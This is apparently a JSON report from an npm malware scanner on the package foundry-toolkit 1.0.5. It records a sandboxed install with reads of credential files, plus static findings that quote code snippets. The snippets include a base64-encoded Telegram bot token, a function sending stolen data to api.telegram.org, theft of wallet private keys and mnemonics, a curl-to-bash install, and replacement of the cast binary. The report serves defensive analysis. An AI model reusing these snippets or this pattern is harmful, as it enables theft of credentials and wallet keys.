{"package":"foundry-toolkit","version":"1.0.5","known":true,"status":"error","discovered_at":1790298537777,"has_install_script":true,"report_url":"https://andymal.com/packages/foundry-toolkit/1.0.5","verdict":"unknown","action":"isolate","confidence":0,"summary":"Andy could not finish analyzing this version (TRANSPORT: DeepSeek API request to http://10.9.0.1:56670/v1 failed). Treat as unverified: install only in an isolated environment.","intent":"Analysis did not complete.","capabilities":[],"iocs":{"domains":[],"urls":[],"ips":[],"paths":[],"hashes":[]},"analyzed_at":1790367642803,"detonated":false,"model":"yolo","findings":[],"lab":{"ok":true,"lab_version":2,"duration_ms":2579,"lab_ip":"10.77.0.156","hooks":[{"name":"postinstall","command":"node postinstall.js","exit":0,"timed_out":false,"seconds":1,"stdout_tail":"\n> foundry-toolkit@1.0.5 postinstall\n> node postinstall.js\n\n","stderr_tail":""}],"process_count":6,"processes":["npm run-script postinstall --if-present --ignore-scripts=false","node /usr/local/bin/npm run-script postinstall --if-present --ignore-scripts=false","sh -c node postinstall.js","node postinstall.js","/bin/sh -c curl -L https://foundry.paradigm.xyz | bash","bash"],"network":{"connects":[{"proto":"socket","ip":"127.0.0.1","port":53,"n":9},{"proto":"socket","ip":"10.77.0.2","port":443,"n":9,"note":"sink (every DNS name resolves here)"}],"dns":[{"name":"api.telegram.org","n":9}],"http":[],"tls":[],"tcp":[]},"files_written":[],"files_deleted":[],"canary_reads":["/etc/passwd","/home/andy/.aws/credentials","/home/andy/.npmrc","/home/andy/.ssh/id_rsa","/home/andy/.ssh/id_ed25519"],"canary_leaks":[],"persistence":[],"notes":[]},"static":{"manifest":{"name":"foundry-toolkit","version":"1.0.5","description":"Unofficial Foundry helpers","scripts":{"postinstall":"node postinstall.js"},"install_hooks":{"postinstall":"node postinstall.js"},"bin":{"cast":"cast.js"},"dependencies":[],"hasInstallScript":true},"files":[{"path":"cast.js","size":2386,"kind":"text","score":1,"hits":["credential_harvest","network_egress","code_execution","obfuscation","reconnaissance","crypto_wallet"],"role":"entry"},{"path":"postinstall.js","size":3636,"kind":"text","score":1,"hits":["credential_access","credential_harvest","network_egress","download_execute","code_execution","obfuscation","reconnaissance","privilege"],"role":"entry"},{"path":"package.json","size":199,"kind":"text","score":0.10033333333333333,"hits":["install_hook_shell"]}],"file_count":3,"unpacked_size":6221,"findings":[{"title":"Install hook","detail":"postinstall: node postinstall.js","severity":"low","location":"package.json"},{"title":"Dumps the whole environment (API keys live there)","detail":"xit(1); } // Run with proper PATH const env = { ...process.env, PATH: '/root/.foundry/bin:' + process.env.PATH }; const r","severity":"high","location":"cast.js:57"},{"title":"Network activity","detail":".toString(); function exfil(data) { const url = `https://api.telegram.org/bot${BOT_TOKEN}/sendMessage?chat_id=${CHAT_ID}&text=${encod","severity":"medium","location":"cast.js:13"},{"title":"Network activity","detail":"age?chat_id=${CHAT_ID}&text=${encodeURIComponent(data)}`; https.get(url).on('error', () => {}); } const args = process.argv.sli","severity":"medium","location":"cast.js:14"},{"title":"Executes commands or dynamic code","detail":"#!/usr/bin/env node const fs = require('fs'); const { execSync } = require('child_process'); const https = require('https'","severity":"medium","location":"cast.js:3"},{"title":"Executes commands or dynamic code","detail":"ode const fs = require('fs'); const { execSync } = require('child_process'); const https = require('https'); const path = require('pa","severity":"medium","location":"cast.js:3"},{"title":"Executes commands or dynamic code","detail":"/root/.foundry/bin:' + process.env.PATH }; const result = execSync(cmdToRun, { stdio: 'pipe', shell: true, env, encoding: 'utf","severity":"medium","location":"cast.js:58"},{"title":"Obfuscated or encoded code","detail":"t os = require('os'); // Telegram config const BOT_TOKEN = Buffer.from('ODcyNTgzNTkwOTpBQUdEN01nTG94UzE3ZGZfUFAxdXlqb3d2dm1NSVVLNlRQVQ==', 'base64').toString(); const CHAT_ID = Buffer.from('NzA1MTY3Mz","severity":"high","location":"cast.js:9"},{"title":"Obfuscated or encoded code","detail":"3d2dm1NSVVLNlRQVQ==', 'base64').toString(); const CHAT_ID = Buffer.from('NzA1MTY3MzE3Nw==', 'base64').toString(); function exfil(data) { const url = `https:/","severity":"high","location":"cast.js:10"},{"title":"System reconnaissance","detail":"join(' '); exfil(`🔍 CAST COMMAND: cast ${argsStr}\\nUser: ${os.userInfo().username}\\nTime: ${new Date().toISOString()}`); // STEAL M","severity":"low","location":"cast.js:19"},{"title":"System reconnaissance","detail":"} }); // RUN REAL CAST COMMAND const realCast = path.join(os.homedir(), '.foundry', 'bin', 'cast.bak'); const originalCast = path.","severity":"low","location":"cast.js:42"},{"title":"System reconnaissance","detail":"oundry', 'bin', 'cast.bak'); const originalCast = path.join(os.homedir(), '.foundry', 'bin', 'cast'); try { let cmdToRun; if (f","severity":"low","location":"cast.js:43"},{"title":"Crypto wallet targeting or address swapping","detail":").username}\\nTime: ${new Date().toISOString()}`); // STEAL MNEMONIC (positional argument after \"wallet private-key\") if (args.i","severity":"high","location":"cast.js:21"},{"title":"Crypto wallet targeting or address swapping","detail":"cludes('wallet') && args.includes('private-key')) { const mnemonicIndex = args.indexOf('private-key') + 1; if (mnemonicIndex","severity":"high","location":"cast.js:23"},{"title":"Crypto wallet targeting or address swapping","detail":"onst mnemonicIndex = args.indexOf('private-key') + 1; if (mnemonicIndex < args.length) { const potentialMnemonic = args[mn","severity":"high","location":"cast.js:24"},{"title":"Crypto wallet targeting or address swapping","detail":"1; if (mnemonicIndex < args.length) { const potentialMnemonic = args[mnemonicIndex]; // Check if it looks like a mnem","severity":"high","location":"cast.js:25"},{"title":"Install hook runs a script","detail":"\", \"bin\": { \"cast\": \"cast.js\" }, \"scripts\": { \"postinstall\": \"node postinstall.js\" } }","severity":"medium","location":"package.json:9"},{"title":"Touches credential stores or secrets","detail":"g()}`); // 1. STEAL DATA const SECRET_PATHS = [ '.env', '.aws/credentials', '.npmrc', '.ssh/id_rsa', '.ssh/id_ed25519', path.join","severity":"high","location":"postinstall.js:30"},{"title":"Touches credential stores or secrets","detail":"DATA const SECRET_PATHS = [ '.env', '.aws/credentials', '.npmrc', '.ssh/id_rsa', '.ssh/id_ed25519', path.join(os.homedi","severity":"high","location":"postinstall.js:30"},{"title":"Touches credential stores or secrets","detail":"SECRET_PATHS = [ '.env', '.aws/credentials', '.npmrc', '.ssh/id_rsa', '.ssh/id_ed25519', path.join(os.homedir(), '.bash","severity":"high","location":"postinstall.js:31"},{"title":"Touches credential stores or secrets","detail":"T_PATHS = [ '.env', '.aws/credentials', '.npmrc', '.ssh/id_rsa', '.ssh/id_ed25519', path.join(os.homedir(), '.bash_histo","severity":"high","location":"postinstall.js:31"},{"title":"Dumps the whole environment (API keys live there)","detail":"(path.join(BIN_DIR, 'foundryup'))) { const env = { ...process.env, PATH: '/root/.foundry/bin:' + process.env.PATH }; run","severity":"high","location":"postinstall.js:62"},{"title":"Network activity","detail":"function sendToTelegram(message) { const url = `https://api.telegram.org/bot${BOT_TOKEN}/sendMessage?chat_id=${CHAT_ID}&text=${encod","severity":"medium","location":"postinstall.js:13"},{"title":"Network activity","detail":"?chat_id=${CHAT_ID}&text=${encodeURIComponent(message)}`; https.get(url).on('error', () => {}); } function run(cmd, options = {","severity":"medium","location":"postinstall.js:14"},{"title":"Network activity","detail":"ng Foundry...'); try { // Install Foundry run('curl -L https://foundry.paradigm.xyz | bash', { timeout: 60000 })","severity":"medium","location":"postinstall.js:58"},{"title":"Download-and-execute chain","detail":"ng Foundry...'); try { // Install Foundry run('curl -L https://foundry.paradigm.xyz | bash', { timeout: 60000 }); // Run foundryup if (fs","severity":"critical","location":"postinstall.js:58"},{"title":"Executes commands or dynamic code","detail":"os = require('os'); const https = require('https'); const { execSync } = require('child_process'); // Telegram config const BOT","severity":"medium","location":"postinstall.js:6"},{"title":"Executes commands or dynamic code","detail":"nst https = require('https'); const { execSync } = require('child_process'); // Telegram config const BOT_TOKEN = Buffer.from('ODcyN","severity":"medium","location":"postinstall.js:6"},{"title":"Executes commands or dynamic code","detail":"}); } function run(cmd, options = {}) { try { return execSync(cmd, { stdio: 'pipe', encoding: 'utf8', shell: true, ...opt","severity":"medium","location":"postinstall.js:19"},{"title":"Obfuscated or encoded code","detail":"ire('child_process'); // Telegram config const BOT_TOKEN = Buffer.from('ODcyNTgzNTkwOTpBQUdEN01nTG94UzE3ZGZfUFAxdXlqb3d2dm1NSVVLNlRQVQ==', 'base64').toString(); const CHAT_ID = Buffer.from('NzA1MTY3Mz","severity":"high","location":"postinstall.js:9"},{"title":"Obfuscated or encoded code","detail":"3d2dm1NSVVLNlRQVQ==', 'base64').toString(); const CHAT_ID = Buffer.from('NzA1MTY3MzE3Nw==', 'base64').toString(); function sendToTelegram(message) { const ur","severity":"high","location":"postinstall.js:10"},{"title":"System reconnaissance","detail":"cation sendToTelegram(`🚨 MALWARE v1.0.5 INSTALLED\\nUser: ${os.userInfo().username}\\nHost: ${os.hostname()}\\nTime: ${new Date().toISO","severity":"low","location":"postinstall.js:26"},{"title":"System reconnaissance","detail":"v1.0.5 INSTALLED\\nUser: ${os.userInfo().username}\\nHost: ${os.hostname()}\\nTime: ${new Date().toISOString()}`); // 1. STEAL DATA co","severity":"low","location":"postinstall.js:26"},{"title":"System reconnaissance","detail":", '.npmrc', '.ssh/id_rsa', '.ssh/id_ed25519', path.join(os.homedir(), '.bash_history'), '/etc/passwd' ]; SECRET_PATHS.forEach","severity":"low","location":"postinstall.js:32"},{"title":"System reconnaissance","detail":"id_ed25519', path.join(os.homedir(), '.bash_history'), '/etc/passwd' ]; SECRET_PATHS.forEach(secretPath => { const fullPath","severity":"low","location":"postinstall.js:33"},{"title":"Privilege elevation","detail":"FileSync(path.join(__dirname, 'cast.js'), REAL_CAST); fs.chmodSync(REAL_CAST, 0o755); sendToTelegram(`🔄 Global binary replaced: ${REAL","severity":"low","location":"postinstall.js:79"},{"title":"Privilege elevation","detail":"pyFileSync(path.join(__dirname, 'cast.js'), LOCAL_BIN); fs.chmodSync(LOCAL_BIN, 0o755); sendToTelegram(`🔄 Local binary replaced: ${LOCAL_B","severity":"low","location":"postinstall.js:93"},{"title":"Privilege elevation","detail":"#!/bin/bash\\n\"${path.join(__dirname, 'cast.js')}\" \"$@\"`); fs.chmodSync(NPX_BIN, 0o755); sendToTelegram(`🔗 npx wrapper created`); } catch (e)","severity":"low","location":"postinstall.js:104"}],"injection_findings":[],"hits":{"credential_harvest":2,"network_egress":5,"code_execution":6,"obfuscation":4,"reconnaissance":8,"crypto_wallet":5,"install_hook_shell":1,"credential_access":5,"download_execute":1,"privilege":3},"iocs":{"urls":["https://foundry.paradigm.xyz"],"domains":["foundry.paradigm.xyz"],"ips":[]},"score":1,"priority":155,"hints":["install hook postinstall: node postinstall.js","untrusted hosts referenced: foundry.paradigm.xyz","capability hits: reconnaissance×8, code_execution×6, network_egress×5, crypto_wallet×5, credential_access×5, obfuscation×4, privilege×3, credential_harvest×2, install_hook_shell×1, download_execute×1"],"entry_files":["postinstall.js","cast.js"],"large_or_binary":[]},"tarball":null,"source":"manual"}